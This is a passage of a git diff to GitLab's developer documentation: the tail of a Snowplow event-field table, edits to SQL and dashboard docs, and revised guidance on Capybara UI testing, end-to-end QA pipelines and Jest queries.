+| `event_fingerprint` | **{dotted-circle}** | string | Hash client-set event fields |
+| `event_format` | **{dotted-circle}** | string | Format for event |
+| `event_id` | **{dotted-circle}** | string | Event UUID |
+| `event_name` | **{dotted-circle}** | string | Event name |
+| `event_vendor` | **{dotted-circle}** | string | The company who developed the event model |
+| `event_version` | **{dotted-circle}** | string | Version of event schema |
+| `geo_city` | **{dotted-circle}** | string | City of IP origin |
+| `geo_country` | **{dotted-circle}** | string | Country of IP origin |
+| `geo_latitude` | **{dotted-circle}** | string | An approximate latitude |
+| `geo_longitude` | **{dotted-circle}** | string | An approximate longitude |
+| `geo_region` | **{dotted-circle}** | string | Region of IP origin |
+| `geo_region_name` | **{dotted-circle}** | string | Region of IP origin |
+| `geo_timezone` | **{dotted-circle}** | string | Timezone of IP origin |
+| `geo_zipcode` | **{dotted-circle}** | string | Zip (postal) code of IP origin |
+| `ip_domain` | **{dotted-circle}** | string | Second level domain name associated with the visitor's IP address |
+| `ip_isp` | **{dotted-circle}** | string | Visitor's ISP |
+| `ip_netspeed` | **{dotted-circle}** | string | Visitor's connection type |
+| `ip_organization` | **{dotted-circle}** | string | Organization associated with the visitor's IP address – defaults to ISP name if none is found |
+| `mkt_campaign` | **{dotted-circle}** | string | The campaign ID |
+| `mkt_clickid` | **{dotted-circle}** | string | The click ID |
+| `mkt_content` | **{dotted-circle}** | string | The content or ID of the ad. |
+| `mkt_medium` | **{dotted-circle}** | string | Type of traffic source |
+| `mkt_network` | **{dotted-circle}** | string | The ad network to which the click ID belongs |
+| `mkt_source` | **{dotted-circle}** | string | The company / website where the traffic came from |
+| `mkt_term` | **{dotted-circle}** | string | Keywords associated with the referrer |
+| `name_tracker` | **{dotted-circle}** | string | The tracker namespace |
+| `network_userid` | **{dotted-circle}** | string | Unique identifier for a user, based on a cookie from the collector (so set at a network level and shouldn't be set by a tracker) |
+| `os_family` | **{dotted-circle}** | string | Operating system family |
+| `os_manufacturer` | **{dotted-circle}** | string | Manufacturers of operating system |
+| `os_name` | **{dotted-circle}** | string | Name of operating system |
+| `os_timezone` | **{dotted-circle}** | string | Client operating system timezone |
+| `page_referrer` | **{dotted-circle}** | string | Referrer URL |
+| `page_title` | **{dotted-circle}** | string | Page title |
+| `page_url` | **{dotted-circle}** | string | Page URL |
+| `page_urlfragment` | **{dotted-circle}** | string | Fragment aka anchor |
+| `page_urlhost` | **{dotted-circle}** | string | Host aka domain |
+| `page_urlpath` | **{dotted-circle}** | string | Path to page |
+| `page_urlport` | **{dotted-circle}** | integer | Port if specified, 80 if not |
+| `page_urlquery` | **{dotted-circle}** | string | Query string |
+| `page_urlscheme` | **{dotted-circle}** | string | Scheme (protocol name) |
+| `platform` | **{dotted-circle}** | string | The platform the app runs on |
+| `pp_xoffset_max` | **{dotted-circle}** | integer | Maximum page x offset seen in the last ping period |
+| `pp_xoffset_min` | **{dotted-circle}** | integer | Minimum page x offset seen in the last ping period |
+| `pp_yoffset_max` | **{dotted-circle}** | integer | Maximum page y offset seen in the last ping period |
+| `pp_yoffset_min` | **{dotted-circle}** | integer | Minimum page y offset seen in the last ping period |
+| `refr_domain_userid` | **{dotted-circle}** | string | The Snowplow `domain_userid` of the referring website |
+| `refr_dvce_tstamp` | **{dotted-circle}** | timestamp | The time of attaching the `domain_userid` to the inbound link |
+| `refr_medium` | **{dotted-circle}** | string | Type of referer |
+| `refr_source` | **{dotted-circle}** | string | Name of referer if recognised |
+| `refr_term` | **{dotted-circle}** | string | Keywords if source is a search engine |
+| `refr_urlfragment` | **{dotted-circle}** | string | Referer URL fragment |
+| `refr_urlhost` | **{dotted-circle}** | string | Referer host |
+| `refr_urlpath` | **{dotted-circle}** | string | Referer page path |
+| `refr_urlport` | **{dotted-circle}** | integer | Referer port |
+| `refr_urlquery` | **{dotted-circle}** | string | Referer URL query string |
+| `refr_urlscheme` | **{dotted-circle}** | string | Referer scheme |
+| `se_action` | **{dotted-circle}** | string | The action / event itself |
+| `se_category` | **{dotted-circle}** | string | The category of event |
+| `se_label` | **{dotted-circle}** | string | A label often used to refer to the 'object' the action is performed on |
+| `se_property` | **{dotted-circle}** | string | A property associated with either the action or the object |
+| `se_value` | **{dotted-circle}** | decimal | A value associated with the user action |
+| `ti_category` | **{dotted-circle}** | string | Item category |
+| `ti_currency` | **{dotted-circle}** | string | Currency |
+| `ti_name` | **{dotted-circle}** | string | Item name |
+| `ti_orderid` | **{dotted-circle}** | string | Order ID |
+| `ti_price` | **{dotted-circle}** | decimal | Item price |
+| `ti_price_base` | **{dotted-circle}** | decimal | Item price in base currency |
+| `ti_quantity` | **{dotted-circle}** | integer | Item quantity |
+| `ti_sku` | **{dotted-circle}** | string | Item SKU |
+| `tr_affiliation` | **{dotted-circle}** | string | Transaction affiliation (such as channel) |
+| `tr_city` | **{dotted-circle}** | string | Delivery address: city |
+| `tr_country` | **{dotted-circle}** | string | Delivery address: country |
+| `tr_currency` | **{dotted-circle}** | string | Transaction Currency |
+| `tr_orderid` | **{dotted-circle}** | string | Order ID |
+| `tr_shipping` | **{dotted-circle}** | decimal | Delivery cost charged |
+| `tr_shipping_base` | **{dotted-circle}** | decimal | Shipping cost in base currency |
+| `tr_state` | **{dotted-circle}** | string | Delivery address: state |
+| `tr_tax` | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) |
+| `tr_tax_base` | **{dotted-circle}** | decimal | Tax applied in base currency |
+| `tr_total` | **{dotted-circle}** | decimal | Transaction total value |
+| `tr_total_base` | **{dotted-circle}** | decimal | Total amount of transaction in base currency |
+| `true_tstamp` | **{dotted-circle}** | timestamp | User-set exact timestamp |
+| `txn_id` | **{dotted-circle}** | string | Transaction ID |
+| `unstruct_event` | **{dotted-circle}** | JSON | The properties of the event |
+| `uploaded_at` | **{dotted-circle}** | | |
+| `user_fingerprint` | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features |
+| `user_id` | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId |
+| `user_ipaddress` | **{dotted-circle}** | string | IP address |
+| `useragent` | **{dotted-circle}** | string | User agent (expressed as a browser string) |
+| `v_collector` | **{dotted-circle}** | string | Collector version |
+| `v_etl` | **{dotted-circle}** | string | ETL version |
+| `v_tracker` | **{dotted-circle}** | string | Identifier for Snowplow tracker |
diff --git a/doc/development/sql.md b/doc/development/sql.md
index 8726c1331e8..a98645cfcae 100644
--- a/doc/development/sql.md
+++ b/doc/development/sql.md
@@ -313,9 +313,9 @@ Project.from("(#{union.to_sql}) projects")
## Ordering by Creation Date
-When ordering records based on the time they were created you can simply order
+When ordering records based on the time they were created, you can order
by the `id` column instead of ordering by `created_at`. Because IDs are always
-unique and incremented in the order that rows are created this will produce the
+unique and incremented in the order that rows are created, doing so will produce the
exact same results. This also means there's no need to add an index on
`created_at` to ensure consistent performance as `id` is already indexed by
default.
@@ -367,3 +367,12 @@ retries if it were to fail because of an
To be able to use this method, make sure the model you want to use
this on inherits from `ApplicationRecord`.
+
+## Monitor SQL queries in production
+
+GitLab team members can monitor slow or canceled queries on GitLab.com
+using the PostgreSQL logs, which are indexed in Elasticsearch and
+searchable using Kibana.
+
+See [the runbook](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/patroni/pg_collect_query_data.md#searching-postgresql-logs-with-kibanaelasticsearch)
+for more details.
diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md
index e75237869ba..58e998e46a8 100644
--- a/doc/development/stage_group_dashboards.md
+++ b/doc/development/stage_group_dashboards.md
@@ -18,6 +18,55 @@ The list of dashboards for each stage group is accessible at <https://dashboards
The dashboards for stage groups are at a very early stage. All contributions are welcome. If you have any questions or suggestions, please submit an issue in the [Scalability Team issues tracker](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/new).
+## Dashboard content
+
+### Error budget
+
+Read more about how we are using error budgets overall in our
+[handbook](https://about.gitlab.com/handbook/engineering/error-budgets/).
+
+By default, the first row of panels on the dashbhoard will show the [error
+budget for the stage
+group](https://about.gitlab.com/handbook/engineering/error-budgets/#budget-spend-by-stage-group). This
+row shows how the features owned by
+the group are contributing to our [overall
+availability](https://about.gitlab.com/handbook/engineering/infrastructure/performance-indicators/#gitlabcom-availability).
+
+The budget is always aggregated over the 28 days before the [time
+selected on the dashboard](#time-range-controls).
+
+We're currently displaying the information in 2 formats:
+
+1. Availability: This number can be compared to GitLab.com's overall
+ availability target of 99.95% uptime.
+1. Budget Spent: This shows the time over the past 28 days that
+ features owned by the group have not been performing adequately.
+
+We're still discussing which of these is more understandable, please
+contribute in
+[Scalability issue #946](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/946)
+if you have thoughts on this topic.
+
+The budget is calculated based on indicators per component. Each
+component has 2 indicators:
+
+1. [Apdex](https://en.wikipedia.org/wiki/Apdex): The rate of
+ operations that performed adequately.
+1. Error rate: The rate of operations that had errors.
+
+The calculation to a ratio then happens as follows:
+
+```math
+\frac {operations\_meeting\_apdex + (total\_operations - operations\_with_\errors)} {total\_apdex\_measurements + total\_operations}
+```
+
+*Caveat:* Not all components are included, causing the
+calculation to be less accurate for some groups. We're working on
+adding all components in
+[&437](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/437). This
+could cause the dashboard to display "No Data" for features with lower
+traffic.
+
## Usage
Inside a stage group dashboard, there are some notable components. Let's take the [Source Code group's dashboard](https://dashboards.gitlab.net/d/stage-groups-source_code/stage-groups-group-dashboard-create-source-code?orgId=1) as an example.
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index ee8401e08d4..828e9925d46 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -86,7 +86,7 @@ a parent context. Examples of these are:
- `:clean_gitlab_redis_cache` which provides a clean Redis cache to the examples.
- `:request_store` which provides a request store to the examples.
-Obviously we should reduce test dependencies, and avoiding
+We should reduce test dependencies, and avoiding
capabilities also reduces the amount of set-up needed.
`:js` is particularly important to avoid. This must only be used if the feature
@@ -350,12 +350,140 @@ writing one](testing_levels.md#consider-not-writing-a-system-test)!
- It's ok to look for DOM elements, but don't abuse it, because it makes the tests
more brittle
-#### Debugging Capybara
+#### UI testing
-Sometimes you may need to debug Capybara tests by observing browser behavior.
+When testing the UI, write tests that simulate what a user sees and how they interact with the UI.
+This means preferring Capybara's semantic methods and avoiding querying by IDs, classes, or attributes.
+
+The benefits of testing in this way are that:
+
+- It ensures all interactive elements have an [accessible name](../fe_guide/accessibility.md#provide-accessible-names-for-screen-readers).
+- It is more readable, as it uses more natural language.
+- It is less brittle, as it avoids querying by IDs, classes, and attributes, which are not visible to the user.
+
+We strongly recommend that you query by the element's text label instead of by ID, class name, or `data-testid`.
+
+If needed, you can scope interactions within a specific area of the page by using `within`.
+As you will likely be scoping to an element such as a `div`, which typically does not have a label,
+you may use a `data-testid` selector in this case.
+
+##### Actions
+
+Where possible, use more specific [actions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Actions), such as the ones below.
+
+```ruby
+# good
+click_button 'Submit review'
+
+click_link 'UI testing docs'
+
+fill_in 'Search projects', with: 'gitlab' # fill in text input with text
+
+select 'Last updated', from: 'Sort by' # select an option from a select input
+
+check 'Checkbox label'
+uncheck 'Checkbox label'
+
+choose 'Radio input label'
+
+attach_file('Attach a file', '/path/to/file.png')
+
+# bad - interactive elements must have accessible names, so
+# we should be able to use one of the specific actions above
+find('.group-name', text: group.name).click
+find('.js-show-diff-settings').click
+find('[data-testid="submit-review"]').click
+find('input[type="checkbox"]').click
+find('.search').native.send_keys('gitlab')
+```
+
+##### Finders
+
+Where possible, use more specific [finders](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Finders), such as the ones below.
+
+```ruby
+# good
+find_button 'Submit review'
+find_button 'Submit review', disabled: true
+
+find_link 'UI testing docs'
+find_link 'UI testing docs', href: docs_url
+
+find_field 'Search projects'
+find_field 'Search projects', with: 'gitlab' # find the input field with text
+find_field 'Search projects', disabled: true
+find_field 'Checkbox label', checked: true
+find_field 'Checkbox label', unchecked: true
+
+# acceptable when finding a element that is not a button, link, or field
+find('[data-testid="element"]')
+```
+
+##### Matchers
+
+Where possible, use more specific [matchers](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/RSpecMatchers), such as the ones below.
+
+```ruby
+# good
+expect(page).to have_button 'Submit review'
+expect(page).to have_button 'Submit review', disabled: true
+expect(page).to have_button 'Notifications', class: 'is-checked' # assert the "Notifications" GlToggle is checked
+
+expect(page).to have_link 'UI testing docs'
+expect(page).to have_link 'UI testing docs', href: docs_url # assert the link has an href
+
+expect(page).to have_field 'Search projects'
+expect(page).to have_field 'Search projects', disabled: true
+expect(page).to have_field 'Search projects', with: 'gitlab' # assert the input field has text
+
+expect(page).to have_checked_field 'Checkbox label'
+expect(page).to have_unchecked_field 'Radio input label'
+
+expect(page).to have_select 'Sort by'
+expect(page).to have_select 'Sort by', selected: 'Last updated' # assert the option is selected
+expect(page).to have_select 'Sort by', options: ['Last updated', 'Created date', 'Due date'] # assert an exact list of options
+expect(page).to have_select 'Sort by', with_options: ['Created date', 'Due date'] # assert a partial list of options
+
+expect(page).to have_text 'Some paragraph text.'
+expect(page).to have_text 'Some paragraph text.', exact: true # assert exact match
+
+expect(page).to have_current_path 'gitlab/gitlab-test/-/issues'
+
+expect(page).to have_title 'Not Found'
+
+# acceptable when a more specific matcher above is not possible
+expect(page).to have_css 'h2', text: 'Issue title'
+expect(page).to have_css 'p', text: 'Issue description', exact: true
+expect(page).to have_css '[data-testid="weight"]', text: 2
+expect(page).to have_css '.atwho-view ul', visible: true
+```
+
+##### Other useful methods
+
+After you retrieve an element using a [finder method](#finders), you can invoke a number of
+[element methods](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Node/Element)
+on it, such as `hover`.
+
+Capybara tests also have a number of [session methods](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Session) available, such as `accept_confirm`.
+
+Some other useful methods are shown below:
+
+```ruby
+refresh # refresh the page
+
+send_keys([:shift, 'i']) # press Shift+I keys to go to the Issues dashboard page
+
+current_window.resize_to(1000, 1000) # resize the window
+
+scroll_to(find_field('Comment')) # scroll to an element
+```
+
+You can also find a number of GitLab custom helpers in the `spec/support/helpers/` directory.
#### Live debug
+Sometimes you may need to debug Capybara tests by observing browser behavior.
+
You can pause Capybara and view the website on the browser by using the
`live_debug` method in your spec. The current page is automatically opened
in your default browser.
diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md
index d60b780eeea..29f6c93d65a 100644
--- a/doc/development/testing_guide/end_to_end/beginners_guide.md
+++ b/doc/development/testing_guide/end_to_end/beginners_guide.md
@@ -332,12 +332,13 @@ can see it.
## Run the spec
-Before running the spec, confirm:
+Before running the spec, make sure that:
-- The GDK is installed.
-- The GDK is running on port 3000 locally.
+- GDK is installed.
+- GDK is running locally on port 3000.
- No additional [RSpec metadata tags](rspec_metadata_tests.md) have been applied.
- Your working directory is `qa/` within your GDK GitLab installation.
+- Your GitLab instance-level settings are default. If you changed the default settings, some tests might have unexpected results.
To run the spec, run the following command:
diff --git a/doc/development/testing_guide/end_to_end/best_practices.md b/doc/development/testing_guide/end_to_end/best_practices.md
index 2b4212a0172..15520d8a6b1 100644
--- a/doc/development/testing_guide/end_to_end/best_practices.md
+++ b/doc/development/testing_guide/end_to_end/best_practices.md
@@ -223,6 +223,15 @@ In summary:
- **Do**: Split tests across separate files, unless the tests share expensive setup.
- **Don't**: Put new tests in an existing file without considering the impact on parallelization.
+## `let` variables vs instance variables
+
+By default, follow the [testing best practices](../best_practices.md#subject-and-let-variables) when using `let`
+or instance variables. However, in end-to-end tests, set-ups such as creating resources are expensive.
+If you use `let` to store a resource, it will be created for each example separately.
+If the resource can be shared among multiple examples, use an instance variable in the `before(:all)`
+block instead of `let` to save run time.
+When the variable cannot be shared by multiple examples, use `let`.
+
## Limit the use of the UI in `before(:context)` and `after` hooks
Limit the use of `before(:context)` hooks to perform setup tasks with only API calls,
diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md
index d981f9bcbba..e6da4771e55 100644
--- a/doc/development/testing_guide/end_to_end/index.md
+++ b/doc/development/testing_guide/end_to_end/index.md
@@ -22,13 +22,13 @@ a black-box testing framework for the API and the UI.
### Testing nightly builds
We run scheduled pipelines each night to test nightly builds created by Omnibus.
-You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/nightly/pipelines`
+You can find these pipelines at <https://gitlab.com/gitlab-org/quality/nightly/pipelines>
(need Developer access permissions). Results are reported in the `#qa-nightly` Slack channel.
### Testing staging
We run scheduled pipelines each night to test staging.
-You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/staging/pipelines`
+You can find these pipelines at <https://gitlab.com/gitlab-org/quality/staging/pipelines>
(need Developer access permissions). Results are reported in the `#qa-staging` Slack channel.
### Testing code in merge requests
@@ -36,64 +36,76 @@ You can find these nightly pipelines at `https://gitlab.com/gitlab-org/quality/s
#### Using the `package-and-qa` job
It is possible to run end-to-end tests for a merge request, eventually being run in
-a pipeline in the [`gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror/) project,
-by triggering the `package-and-qa` manual action in the `test` stage (not
+a pipeline in the [`gitlab-org/gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror) project,
+by triggering the `package-and-qa` manual action in the `qa` stage (not
available for forks).
-**This runs end-to-end tests against a custom CE and EE (with an Ultimate license)
-Omnibus package built from your merge request's changes.**
+**This runs end-to-end tests against a custom EE (with an Ultimate license)
+Docker image built from your merge request's changes.**
-Manual action that starts end-to-end tests is also available in merge requests
-in [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab).
-
-Below you can read more about how to use it and how does it work.
+Manual action that starts end-to-end tests is also available
+in [`gitlab-org/omnibus-gitlab` merge requests](https://docs.gitlab.com/omnibus/build/team_member_docs.html#i-have-an-mr-in-the-omnibus-gitlab-project-and-want-a-package-or-docker-image-to-test-it).
#### How does it work?
-Currently, we are using _multi-project pipeline_-like approach to run QA
+Currently, we are using _multi-project pipeline_-like approach to run end-to-end
pipelines.
```mermaid
-graph LR
- A1 -.->|1. Triggers an omnibus-gitlab-mirror pipeline and wait for it to be done| A2
- B2[`Trigger-qa` stage<br>`Trigger:qa-test` job] -.->|2. Triggers a gitlab-qa-mirror pipeline and wait for it to be done| A3
-
-subgraph "gitlab-foss/gitlab pipeline"
- A1[`test` stage<br>`package-and-qa` job]
+graph TB
+ A1 -.->|once done, can be triggered| A2
+ A2 -.->|1. Triggers an `omnibus-gitlab-mirror` pipeline<br>and wait for it to be done| B1
+ B2[`Trigger-qa` stage<br>`Trigger:qa-test` job] -.->|2. Triggers a `gitlab-qa-mirror` pipeline<br>and wait for it to be done| C1
+
+subgraph "`gitlab-org/gitlab` pipeline"
+ A1[`build-images` stage<br>`build-qa-image` and `build-assets-image` jobs]
+ A2[`qa` stage<br>`package-and-qa` job]
end
-subgraph "omnibus-gitlab pipeline"
- A2[`Trigger-docker` stage<br>`Trigger:gitlab-docker` job] -->|once done| B2
+subgraph "`gitlab-org/build/omnibus-gitlab-mirror` pipeline"
+ B1[`Trigger-docker` stage<br>`Trigger:gitlab-docker` job] -->|once done| B2
end
-subgraph "gitlab-qa-mirror pipeline"
- A3>QA jobs run] -.->|3. Reports back the pipeline result to the `package-and-qa` job<br>and post the result on the original commit tested| A1
+subgraph "`gitlab-org/gitlab-qa-mirror` pipeline"
+ C1>End-to-end jobs run]
end
```
-1. Developer triggers a manual action, that can be found in GitLab merge
- requests. This starts a chain of pipelines in multiple projects.
-
-1. The script being executed triggers a pipeline in
- [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror)
- and waits for the resulting status. We call this a _status attribution_.
-
-1. GitLab packages are being built in the [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror)
- pipeline. Packages are then pushed to its Container Registry.
+1. In the [`gitlab-org/gitlab` pipeline](https://gitlab.com/gitlab-org/gitlab):
+ 1. Developer triggers the `package-and-qa` manual action (available once the `build-qa-image` and
+ `build-assets-image` jobs are done), that can be found in GitLab merge
+ requests. This starts a chain of pipelines in multiple projects.
+ 1. The script being executed triggers a pipeline in
+ [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror)
+ and polls for the resulting status. We call this a _status attribution_.
-1. When packages are ready, and available in the registry, a final step in the
- [Omnibus GitLab Mirror](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) pipeline, triggers a new
- GitLab QA pipeline (those with access can view them at `https://gitlab.com/gitlab-org/gitlab-qa-mirror/pipelines`). It also waits for a resulting status.
+1. In the [`gitlab-org/build/omnibus-gitlab-mirror` pipeline](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror):
+ 1. Docker image is being built and pushed to its Container Registry.
+ 1. Finally, the `Trigger:qa-test` job triggers a new end-to-end pipeline in
+ [`gitlab-org/gitlab-qa-mirror`](https://gitlab.com/gitlab-org/gitlab-qa-mirror/pipelines) and polls for the resulting status.
-1. GitLab QA pulls images from the registry, spins-up containers and runs tests
- against a test environment that has been just orchestrated by the `gitlab-qa`
- tool.
+1. In the [`gitlab-org/gitlab-qa-mirror` pipeline](https://gitlab.com/gitlab-org/gitlab-qa-mirror):
+ 1. Container for the Docker image stored in the [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror) registry is spun-up.
+ 1. End-to-end tests are run with the `gitlab-qa` executable, which spin up a container for the end-to-end image from the [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) registry.
-1. The result of the GitLab QA pipeline is being
- propagated upstream, through Omnibus, back to the GitLab merge request.
+1. The result of the [`gitlab-org/gitlab-qa-mirror` pipeline](https://gitlab.com/gitlab-org/gitlab-qa-mirror) is being
+ propagated upstream (through polling from upstream pipelines), through [`gitlab-org/build/omnibus-gitlab-mirror`](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror), back to the [`gitlab-org/gitlab`](https://gitlab.com/gitlab-org/gitlab) merge request.
Please note, we plan to [add more specific information](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/156)
-about the tests included in each job/scenario that runs in `gitlab-qa-mirror`.
+about the tests included in each job/scenario that runs in `gitlab-org/gitlab-qa-mirror`.
+
+NOTE:
+You may have noticed that we use `gitlab-org/build/omnibus-gitlab-mirror` instead of
+`gitlab-org/omnibus-gitlab`, and `gitlab-org/gitlab-qa-mirror` instead of `gitlab-org/gitlab-qa`.
+This is due to technical limitations in the GitLab permission model: the ability to run a pipeline
+against a protected branch is controlled by the ability to push/merge to this branch.
+This means that for developers to be able to trigger a pipeline for the default branch in
+`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have Maintainer permission in those projects.
+For security reasons and implications, we couldn't open up the default branch to all the Developers.
+Hence we created these mirrors where Developers and Maintainers are allowed to push/merge to the default branch.
+This problem was discovered in <https://gitlab.com/gitlab-org/gitlab-qa/-/issues/63#note_107175160> and the "mirror"
+work-around was suggested in <https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4717>.
+A feature proposal to segregate access control regarding running pipelines from ability to push/merge was also created at <https://gitlab.com/gitlab-org/gitlab/-/issues/24585>.
#### With Pipeline for Merged Results
@@ -160,9 +172,9 @@ See [Review Apps](../review_apps.md) for more details about Review Apps.
## How do I run the tests?
If you are not [testing code in a merge request](#testing-code-in-merge-requests),
-there are two main options for running the tests. If you simply want to run
-the existing tests against a live GitLab instance or against a pre-built Docker image
-you can use the [GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md). See also [examples
+there are two main options for running the tests. If you want to run
+the existing tests against a live GitLab instance or against a pre-built Docker image,
+use the [GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md). See also [examples
of the test scenarios you can run via the orchestrator](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/what_tests_can_be_run.md#examples).
On the other hand, if you would like to run against a local development GitLab
diff --git a/doc/development/testing_guide/end_to_end/style_guide.md b/doc/development/testing_guide/end_to_end/style_guide.md
index f9c13d5dd67..22ddae6e836 100644
--- a/doc/development/testing_guide/end_to_end/style_guide.md
+++ b/doc/development/testing_guide/end_to_end/style_guide.md
@@ -122,7 +122,7 @@ avoid confusion or make the code more readable. For example, if a page object is
named `New`, it could be confusing to name the block argument `new` because that
is used to instantiate objects, so `new_page` would be acceptable.
-We chose not to simply use `page` because that would shadow the
+We chose not to use `page` because that would shadow the
Capybara DSL, potentially leading to confusion and bugs.
### Examples
diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md
index 126d8725c21..a9af8f03d63 100644
--- a/doc/development/testing_guide/flaky_tests.md
+++ b/doc/development/testing_guide/flaky_tests.md
@@ -108,7 +108,7 @@ For instance `RETRIES=1 bin/rspec ...` would retry the failing examples once.
#### PhantomJS / WebKit related issues
-- Memory is through the roof! (TL;DR: Load images but block images requests!): <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12003>
+- Memory is through the roof! (Load images but block images requests!): <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12003>
#### Capybara expectation times out
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 9facca10142..7289e66a045 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -55,8 +55,8 @@ which have to be stubbed.
- Because Jest runs in a Node.js environment, it uses [jsdom](https://github.com/jsdom/jsdom) by default. See also its [limitations](#limitations-of-jsdom) below.
- Jest does not have access to Webpack loaders or aliases.
The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/jest.config.js).
-- All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/en/timer-mocks).
-- `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/en/manual-mocks).
+- All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks).
+- `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/manual-mocks).
- No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest.
This means sharing `this.something` between `beforeEach()` and `it()` for example does not work.
Instead you should declare shared variables in the context that they are needed (via `const` / `let`).
@@ -78,7 +78,7 @@ See also the issue for [support running Jest tests in browsers](https://gitlab.c
### Debugging Jest tests
-Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why).
+Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/troubleshooting#tests-are-failing-and-you-don-t-know-why).
### Timeout error
@@ -104,6 +104,15 @@ describe('Component', () => {
Remember that the performance of each test depends on the environment.
+### Test-specific stylesheets
+
+To help facilitate RSpec integration tests we have two test-specific stylesheets. These can be used to do things like disable animations to improve test speed, or to make elements visible when they need to be targeted by Capybara click events:
+
+- `app/assets/stylesheets/disable_animations.scss`
+- `app/assets/stylesheets/test_environment.scss`
+
+Because the test environment should match the production environment as much as possible, use these minimally and only add to them when necessary.
+
## What and how to test
Before jumping into more gritty details about Jest-specific workflows like mocks and spies, we should briefly cover what to test with Jest.
@@ -212,8 +221,8 @@ When it comes to querying DOM elements in your tests, it is best to uniquely and
the element.
Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro/).
-When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/queries/byrole/)
-as these enforce accessibility best practices as well. The examples below demonstrate the order of preference.
+When selecting by text it is best to use the [`byRole`](https://testing-library.com/docs/queries/byrole) query
+as it helps enforce accessibility best practices. `findByRole` and the other [DOM Testing Library queries](https://testing-library.com/docs/queries/about) are available when using [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended).
When writing Vue component unit tests, it can be wise to query children by component, so that the unit test can focus on comprehensive value coverage
rather than dealing with the complexity of a child component's behavior.
@@ -223,25 +232,27 @@ possible selectors include:
- A semantic attribute like `name` (also verifies that `name` was setup properly)
- A `data-testid` attribute ([recommended by maintainers of `@vue/test-utils`](https://github.com/vuejs/vue-test-utils/issues/1498#issuecomment-610133465))
- optionally combined with [`findByTestId`](#extendedwrapper-and-findbytestid)
+ optionally combined with [`shallowMountExtended` or `mountExtended`](#shallowmountextended-and-mountextended)
- a Vue `ref` (if using `@vue/test-utils`)
```javascript
-import { getByRole, getByText } from '@testing-library/dom'
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper'
+
+const wrapper = shallowMountExtended(ExampleComponent);
// In this example, `wrapper` is a `@vue/test-utils` wrapper returned from `mount` or `shallowMount`.
it('exists', () => {
// Best (especially for integration tests)
- getByRole(wrapper.element, 'link', { name: /Click Me/i })
- getByRole(wrapper.element, 'link', { name: 'Click Me' })
- getByText(wrapper.element, 'Click Me')
- getByText(wrapper.element, /Click Me/i)
+ wrapper.findByRole('link', { name: /Click Me/i })
+ wrapper.findByRole('link', { name: 'Click Me' })
+ wrapper.findByText('Click Me')
+ wrapper.findByText(/Click Me/i)
// Good (especially for unit tests)
wrapper.find(FooComponent);
wrapper.find('input[name=foo]');
wrapper.find('[data-testid="my-foo-id"]');
